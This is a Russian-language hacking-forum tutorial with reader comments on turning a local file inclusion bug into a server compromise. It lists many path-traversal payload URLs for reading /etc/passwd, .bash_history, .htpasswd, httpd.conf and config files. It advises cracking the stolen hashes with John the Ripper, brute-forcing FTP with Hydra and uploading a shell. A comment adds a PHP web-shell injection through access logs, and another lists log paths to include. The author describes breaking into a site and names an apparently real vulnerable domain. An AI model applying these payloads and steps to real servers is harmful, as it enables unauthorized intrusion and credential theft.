Очень часто в журналах, на форумах и от друзей можно услышать следующее: "Я нашел читалку, но так как с неё ничего не поднять..." Хочу сказать, что такое заблуждение весьма распространено. Целью своей статьи ставлю разубеждение в 100% адекватности таких заявлений. Кроме того, я не встречал статьи, показывающе как пошагово реализовать эту уязвимость в ощутимый результат. Первым делом, ищем непосредственно саму багу. Как это делать, я писать не буду, но если возникнет такая необходимость - напишу. Необходимо заметить, что реализация уязвимости может быть разной: http://somesite.info/?page=/etc/passwd (рекомендую вставлять именно passwd, т. к. этот файл практически всегда доступен для чтения владельцу файлов/папок сайта) http://somesite.info/?page=/etc/passwd%00 Иногда даже так: http://somesite.info/?page=/etc/passwd%00.html (или .txt .php .inc .jpg и т. д.) но лично я такого не встречал. http://somesite.info/?page=../../../../../../../../../../etc/passwd http://somesite.info/?page=../../../../../../../../../../etc/passwd%00 http://somesite.info/?page=../../../../../../../../../../etc/passwd%00.html http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00 http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00.html Иногда для нормальной реализации необходимо знание полного пути к директории. Кстати, никогда не верьте расширению у скрипта! Найдя такую багу, делаем следующее: I. Читаем файл /etc/passwd. В этом файл есть три раздела информации, представляющей для нас особый интерес: 1) Лоигны пользователей; 2) Путь к их домашним директориям: 3) Наличие у них действующего интерпретатора. Обычно я начинаю с пункта 3. С помощью бажного скрипта пытаюсь прочитать: http://somesite.info/?page=somedir/../../../../../../../../../../home/dir/of/some/user/.bash_history Поверьте, если пользователей много, хоть одна хистори буде доступна для чтения. //Необходимо заметить - когда сегодня я взламывал antichat файл .bash_history был доступен на чтение владельцу //web' директорий. //чего быть не должно. В .bash_history внимательно просматриваем все комманды с целью найти следующие строки ssh othersite.com -l afsdds -p wronGp4ssw0rt Конечно, это может быть и правильный пароль. Но если этот пароль не подходит (или после этих строк идёт еще одна строка авторизации через ssh)- в этом случае можно попробовать угадать пароль. Конечно, проще это сделать, если пароль является словом, например antechat. Очевидно, что паролем, скорее всего, является, antichat (хотя может быть и ant1ch4t и т. д.). Вообщем, нужна фантазия и удача. или (перед вводом комманды su): si или st или ssu или ssu. Ну а на следующей строчке после этой комманды пароль скорее всего мы увидим правильный и гадать нам не понадобится. Если ничего найдено не было, стоит попробовать пункт 2. Здесь уже необходимо больше и фантазии и удачи: http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html Подставляем в конец .htpasswd, и при удачном раскладе читаем зашифрованные DES'ом пароли. При не очень удачном пытаемся прочитать .htaccess, а из него выцепить интересную информацию (строка AuthUserFile), например на файлы с паролями. Такое возможно потому, что в файл .htaccess может быть помещено большинство из доступных директив для веб-сервера. Если находим такую ссылку - вставлем путь к ней вместо way/to/site/dir/public_html и запускаем прогу John The Ripper, позволяющую быстро расправиться с закодированными паролями. Кроме этого, необходимо помнить, что файлы .htaccess и .htpasswd могут лежать в любой поддиректории. Поэтому, например, если Вы знаете, что на сайте есть форум с админкой, пробуем: http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html/forum/admin/.htaccess Я советую поугадывать имена возможных папок (это можно узнать просто гуляя по сайту) и попробовать поискать файлы во всех подпапках. Кроме того, часто можно итнуитивно угадать имя папки, в которой может лежать такой файл. Например, зная путь до домашних папок: /home/users/name_save_with_site_name Попробуйте поискать файлы в папках /home/users/name_save_with_site_name/www /home/users/name_save_with_site_name/htdocs/ //home/users/name_save_with_site_name/public_html и тому подобных. В таких папках, например, могут лежать копии сайтов. Далее, используя расшифрованный пароль, либо заходим в админку и ищем там возможности для закачки шелла, например через upload файлов. Или пробуем использовать пароль к ssh (если в файле /etc/passwd у данного пользователя есть доступ к bash), или к ftp. Ну и последний пункт, косвенно связанный с предыдущим пункт 1. Путь 1 (быстрый). Собираем при помощи специального скрипта пары login:login из /etc/passwd и при помощи другого скрипта (или программы) пытаемся брутить ftp, попутно выясняя login'ы тех пользователей, на кого ни в коем случае не стоит ровняться. Путь 2 (чаще всего долгий). При помощи любой соответствующей нашей цели программы пытаемя сбрутить пароль по словарю. В обоих случаях идеально подходит программа Hydra, доступная на официальном сайте THC.org (http://thc.org ) II. Читаем файл httpd.conf С этим файлом всё немного запутаннее, т. к. (в отличии от passwd), он может лежать в различных директориях на разных серверах. Но первым делом, все равно пробуем стандарт de facto: http://somesite.info/?page=somedir/../../../../../../../../../../usr/local/apache/conf/httpd.conf В 70% случаев он находится именно там. Если нет, стоит проверить папки следующим образом: http://somesite.info/?page=somedir/../../../../../../../../../../etc/../usr/conf/../../etc/shells (в целях экономии трафика =), хотя вполне можно и passwd) Если на страницу будет выведены существующие интерпретаторы (записи типа, /usr/bin/sh, /usr/bin/csh и т. п.)- опять ликуем, т. к. теперь мы точно уверены в существовании директории conf. Тогда можно поискать файл httpd.conf в ней. Таким образо можно проверить наличие любой папки, добавляя в строку ее название и дополнительные символы перехода вниз по каталогу (../) Наиболее часто мне встречаличь следующие пути (в порядке убывания): /usr/apache/conf/httpd.conf /usr/local/httpd/conf/httpd.conf /usr/local/http/conf/httpd.conf /usr/http/conf/httpd.conf /usr/httpd/conf/httpd.conf В найденном файле ищем cтроки (само собой, через поиск, т. к. файл большой) .htpasswd или AuthUserFile Эти файлы укажут нам на файлы паролей. Кроме того, отдельный интерес в этом файле представляет раздел Virual Hosts, из которого мы можем узнать мыло администратора (директива ServerAdmin), полный путь к web-директории и еще немного информации (директива DocumentRoot), а также место хранения логов, при просмотре которых можно также найти какой-нибудь пароль в GET-запросе (что очень мало веротяно)_. Пример: <# <VirtualHost *:80> # ServerName www.*.*.navy.mil # ServerAlias *.*.navy.mil *.navy.mil www.*.navy.mil # DocumentRoot "/home/www/*/htdocs/"====> полный путь к Web'у # ServerAdmin regional.webmaster@*.navy.mil ====> мыло админа # ErrorLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*n-error_log 86400" # CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа # # <Directory "/home/www/*/htdocs"> # Options MultiViews # AllowOverride None # Order allow,deny # Allow from all # <LIMIT PUT DELETE> # Order deny,allow # Deny from all # </LIMIT> # </Directory> # # </VirtualHost> Три важных замечания: Замечание 1. Часто бывает так, что при помощи этой баги можно просматривать директории, например: http://www.goldenroseflorist.com/index.php4?page=../../../../../../../../../../etc Замечание 2. Также, если Вы точно уверены в существовании директорий /chat /adm /admin /forum пробуйте прочитать файлы conf.php, config.php, auth.inc.php, conf.inc.php. Вообщем, различные конфиги и т.п. http://somesite.info/?page=somedir/../../../../../../../../../../home/user/www/forum/config.inc.php Замечание 3. Пробуйте читать исходный код бажного сценария: http://somesite.info/view.cgi?page=somedir/../../../../../../../../../../home/user/www/view.cgi%00 Вот собственно, и все, что я могу сказать по этой теме. Отдельно хотелось бы упомянуть следующие случаи из моей практики: -Доступный на чтение файл /root/.bash_history -Доступный на чтение файл /etc/shadow -Доступный на чтение файл httpd.conf, лежащий в /etc/httpd/conf/httpd.conf -Доступный на чтение файл /etc/.htpasswd (уж не знаю, что они запаролить хотели, копия скорее всего=)). P. S. При возникновении любых вопросов - обращайтесь! Спасибо за внимание, с уважением 1ten0.0net1.
Чувствую эта статья из разряда "сад-о-мазо", однако - лично я не встречал таких "уязвимостей", или скажем так - встречал, но редко, да и зачастую дальше ../../ не уйти из-за умных админов хостинга.
# CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа По-моему, я не забыл. Или я что-то путаю?
мой пост совсем не в тему статьи, но всё ж... имхо для начала не нужно лезть куда-то в "./../../" двиг построен либо на бд, либо на файлах... если бд - то просматреть файл подключения к бд там есть пас и пароль пример: попробывать подключиться удалеено если сайт написан на файлах, нужно найти админку и прочитать пароль... там по идее будет проверка на пароль и логин, что-то вроде: дальше по ситуации))) эти пароли могут подходить и к фтп).. статья понра)
izvenyaus`, chto tranlistom. Statya ne ploha. Daje ochen` ne ploha. a oformlenie... vajna infa ili krasota? chitat` mojno i ladno
наверное он имел ввиду, что можно получить шелл с помощь access_log, тоесть коннектимся telnet'ом на 80 порт и передаем в запросе в качестве UserAgent: <?php system($_GET['i']); ?> затем с помощью этой баги инклудим access_log и получаем веб шелл
Во-во... Скажите, как отправить запрос к серваку, чтоб он оставил строку в логе? Вот тут бычно лежат логи ../../../../../../../../../../../../var/log/httpd/access_log ../../../../../../../../../../../../var/log/httpd/error_log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../apache/logs/error.log ../../../../apache/logs/access.log ../../../../../apache/logs/error.log ../../../../../apache/logs/access.log ../../../../../../apache/logs/error.log ../../../../../../apache/logs/access.log ../../../../../../../apache/logs/error.log ../../../../../../../apache/logs/access.log ../../../../../../../../apache/logs/error.log ../../../../../../../../apache/logs/access.log ../../../logs/error.log ../../../logs/access.log ../../../../logs/error.log ../../../../logs/access.log ../../../../../logs/error.log ../../../../../logs/access.log ../../../../../../logs/error.log ../../../../../../logs/access.log ../../../../../../../logs/error.log ../../../../../../../logs/access.log ../../../../../../../../logs/error.log ../../../../../../../../logs/access.log ../../../../../../../../../../../../etc/httpd/logs/acces_log ../../../../../../../../../../../../etc/httpd/logs/acces.log ../../../../../../../../../../../../etc/httpd/logs/error_log ../../../../../../../../../../../../etc/httpd/logs/error.log ../../../../../../../../../../../../var/www/logs/access_log ../../../../../../../../../../../../var/www/logs/access.log ../../../../../../../../../../../../usr/local/apache/logs/access_log ../../../../../../../../../../../../usr/local/apache/logs/access.log ../../../../../../../../../../../../var/log/apache/access_log ../../../../../../../../../../../../var/log/apache/access.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/www/logs/error_log ../../../../../../../../../../../../var/www/logs/error.log ../../../../../../../../../../../../usr/local/apache/logs/error_log ../../../../../../../../../../../../usr/local/apache/logs/error.log ../../../../../../../../../../../../var/log/apache/error_log ../../../../../../../../../../../../var/log/apache/error.log ../../../../../../../../../../../../var/log/access_log ../../../../../../../../../../../../var/log/error_log Как послать запрос? И что делать если telnet не коннектится?! Дайте совет!
